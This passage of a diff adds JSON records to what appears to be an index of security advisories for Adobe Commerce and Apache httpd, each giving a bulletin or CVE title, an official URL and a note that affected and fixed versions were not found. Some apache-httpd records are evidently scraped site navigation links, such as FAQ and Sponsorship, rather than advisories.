+ "system_id": "adobe-commerce",
+ "title": "APSB24-73\u00a0 :\u00a0Security update available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb24-73.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--8ecb2a63a5",
+ "system_id": "adobe-commerce",
+ "title": "APSB23-17\u00a0 : Security update available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-17.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--933ad16ad5",
+ "system_id": "adobe-commerce",
+ "title": "APSB24-18 \u00a0: Security update available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb24-18.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--934b38c7e3",
+ "system_id": "adobe-commerce",
+ "title": "APSB23-50 \u00a0: Security update available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-50.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--979640da01",
+ "system_id": "adobe-commerce",
+ "title": "APSB23-35 \u00a0:\u00a0Security update available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-35.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2021-36035",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2021-36035",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb21-64.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2021-39864",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2021-39864",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb21-86.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2022-24086",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2022-24086",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb22-12.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2022-24093",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2022-24093",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb22-13.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2022-34253",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2022-34253",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb22-38.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2022-34254",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2022-34254",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb22-38.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2022-34255",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2022-34255",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb22-38.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2022-34256",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2022-34256",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb22-38.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2022-34257",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2022-34257",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb22-38.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2022-34258",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2022-34258",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb22-38.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2022-34259",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2022-34259",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb22-38.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2022-35689",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2022-35689",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb22-48.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2022-35692",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2022-35692",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb22-38.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2022-35698",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2022-35698",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb22-48.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2022-42344",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2022-42344",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb22-38.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-22247",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-22247",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-17.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-22248",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-22248",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-35.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-22249",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-22249",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-17.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-22250",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-22250",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-17.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-22251",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-22251",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-17.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-26366",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-26366",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-50.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-26367",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-26367",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-50.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-29287",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-29287",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-35.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-29288",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-29288",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-35.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-29289",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-29289",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-35.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-29290",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-29290",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-35.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-29291",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-29291",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-35.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-29292",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-29292",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-35.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-29293",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-29293",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-35.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-29294",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-29294",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-35.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-29295",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-29295",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-35.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-29296",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-29296",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-35.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-29297",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-29297",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-35.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-38207",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-38207",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-42.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-38208",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-38208",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-42.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-38209",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-38209",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-42.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-38218",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-38218",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-50.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-38219",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-38219",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-50.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-38220",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-38220",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-50.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-38221",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-38221",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-50.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-38249",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-38249",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-50.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-38250",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-38250",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-50.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2023-38251",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2023-38251",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb23-50.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2024-20716",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2024-20716",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb24-03.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2024-20717",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2024-20717",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb24-03.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2024-20718",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2024-20718",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb24-03.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2024-20719",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2024-20719",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb24-03.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2024-20720",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2024-20720",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb24-03.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2024-20758",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2024-20758",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb24-18.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--CVE-2024-20759",
+ "system_id": "adobe-commerce",
+ "title": "CVE-2024-20759",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb24-18.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--a0a29ab7eb",
+ "system_id": "adobe-commerce",
+ "title": "APSB25-71\u00a0 : Security update available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb25-71.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--a5f12e77b4",
+ "system_id": "adobe-commerce",
+ "title": "APSB22-12 \u00a0Security\u202fupdates available\u202ffor Magento",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb22-12.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--a7b623e0d8",
+ "system_id": "adobe-commerce",
+ "title": "APSB21-08 \u00a0Security\u202fupdates available\u202ffor Magento",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb21-08.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--ac73b00a05",
+ "system_id": "adobe-commerce",
+ "title": "APSB24-40 \u00a0:\u00a0Security update available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb24-40.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--c1c61771df",
+ "system_id": "adobe-commerce",
+ "title": "APSB24-90 :\u00a0Security update available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb24-90.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--ce8484a7ed",
+ "system_id": "adobe-commerce",
+ "title": "APSB25-08\u00a0 : Security update available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb25-08.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--d3476d6b14",
+ "system_id": "adobe-commerce",
+ "title": "APSB25-94\u00a0 : Security update available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb25-94.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--d4e4aff8b8",
+ "system_id": "adobe-commerce",
+ "title": "APSB22-48 : Security updates available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb22-48.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--d688572a39",
+ "system_id": "adobe-commerce",
+ "title": "APSB20-02 \u00a0Security\u202fupdates available\u202ffor Magento",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb20-02.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--d88dbef013",
+ "system_id": "adobe-commerce",
+ "title": "APSB20-59 \u00a0Security\u202fupdates available\u202ffor Magento",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb20-59.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--da91b15885",
+ "system_id": "adobe-commerce",
+ "title": "APSB22-13 \u00a0:\u00a0Security update available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb22-13.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--ef1f4e7ed5",
+ "system_id": "adobe-commerce",
+ "title": "APSB21-64 \u00a0Security\u202fupdates available\u202ffor Magento",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb21-64.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--f2ffd83268",
+ "system_id": "adobe-commerce",
+ "title": "APSB25-50\u00a0: Security update available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb25-50.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--f35cbfee30",
+ "system_id": "adobe-commerce",
+ "title": "APSB24-03 \u00a0: Security update available for Adobe Commerce",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb24-03.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "adobe-commerce--fc2e2dc6d1",
+ "system_id": "adobe-commerce",
+ "title": "APSB20-47 \u00a0Security\u202fupdates available\u202ffor Magento",
+ "official_source_url": "https://helpx.adobe.com/security/products/magento/apsb20-47.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--02cba8895c",
+ "system_id": "apache-httpd",
+ "title": "libapreq",
+ "official_source_url": "https://httpd.apache.org/apreq/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--05cc1afdb1",
+ "system_id": "apache-httpd",
+ "title": "Trunk",
+ "official_source_url": "https://svn.apache.org/viewvc/httpd/httpd/trunk/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--07805b501b",
+ "system_id": "apache-httpd",
+ "title": "CVE-2025-59775",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2025-59775",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--0a6be3d9f9",
+ "system_id": "apache-httpd",
+ "title": "CVE-2022-28330",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2022-28330",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--0bc105963e",
+ "system_id": "apache-httpd",
+ "title": "Documentation",
+ "official_source_url": "https://httpd.apache.org/docs/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--0ca4c19a23",
+ "system_id": "apache-httpd",
+ "title": "CVE-2024-38473",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2024-38473",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--0dbcc731e3",
+ "system_id": "apache-httpd",
+ "title": "Flood",
+ "official_source_url": "https://httpd.apache.org/test/flood/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--0e5b8af55a",
+ "system_id": "apache-httpd",
+ "title": "Mailing Lists",
+ "official_source_url": "https://httpd.apache.org/lists.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--101f2d16a4",
+ "system_id": "apache-httpd",
+ "title": "CVE-2024-40725",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2024-40725",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--1110a7f1d2",
+ "system_id": "apache-httpd",
+ "title": "CVE-2024-38472",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2024-38472",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--172cdd59be",
+ "system_id": "apache-httpd",
+ "title": "CVE-2025-66200",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2025-66200",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--1afb0f2b13",
+ "system_id": "apache-httpd",
+ "title": "Wiki",
+ "official_source_url": "https://wiki.apache.org/httpd/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--1c11edba84",
+ "system_id": "apache-httpd",
+ "title": "CVE-2025-54090",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2025-54090",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--1e9218e776",
+ "system_id": "apache-httpd",
+ "title": "impact rating",
+ "official_source_url": "https://httpd.apache.org/security/impact_levels.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--20376e1d55",
+ "system_id": "apache-httpd",
+ "title": "CVE-2024-47252",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2024-47252",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--203c36ee66",
+ "system_id": "apache-httpd",
+ "title": "CVE-2025-23048",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2025-23048",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--219b6d2e94",
+ "system_id": "apache-httpd",
+ "title": "CVE-2025-55753",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2025-55753",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--22307e5b33",
+ "system_id": "apache-httpd",
+ "title": "Sponsorship",
+ "official_source_url": "https://www.apache.org/foundation/sponsorship.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--22e8d8544b",
+ "system_id": "apache-httpd",
+ "title": "FAQ",
+ "official_source_url": "https://wiki.apache.org/httpd/FAQ",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--23cd71d5dd",
+ "system_id": "apache-httpd",
+ "title": "mod_fcgid",
+ "official_source_url": "https://httpd.apache.org/mod_fcgid/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--276abef65c",
+ "system_id": "apache-httpd",
+ "title": "Miscellaneous",
+ "official_source_url": "https://httpd.apache.org/info/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--2ba0a72733",
+ "system_id": "apache-httpd",
+ "title": "CVE-2024-43204",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2024-43204",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--2bc69387c4",
+ "system_id": "apache-httpd",
+ "title": "Download!",
+ "official_source_url": "https://httpd.apache.org/download.cgi",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--2bf906b1f1",
+ "system_id": "apache-httpd",
+ "title": "Apache Traffic Control",
+ "official_source_url": "https://trafficcontrol.apache.org/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--2d0d84c490",
+ "system_id": "apache-httpd",
+ "title": "User Support",
+ "official_source_url": "https://httpd.apache.org/support.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--2d92c01d3d",
+ "system_id": "apache-httpd",
+ "title": "Trunk (dev)",
+ "official_source_url": "https://httpd.apache.org/docs/trunk/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--2f5a1a9d6e",
+ "system_id": "apache-httpd",
+ "title": "APR",
+ "official_source_url": "https://apr.apache.org/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--331bc084fd",
+ "system_id": "apache-httpd",
+ "title": "Contributors",
+ "official_source_url": "https://httpd.apache.org/contributors/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--34efd686fd",
+ "system_id": "apache-httpd",
+ "title": "CVE-2023-27522",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2023-27522",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--39b0a97f1b",
+ "system_id": "apache-httpd",
+ "title": "CVE-2023-43622",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2023-43622",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--3abbe322bc",
+ "system_id": "apache-httpd",
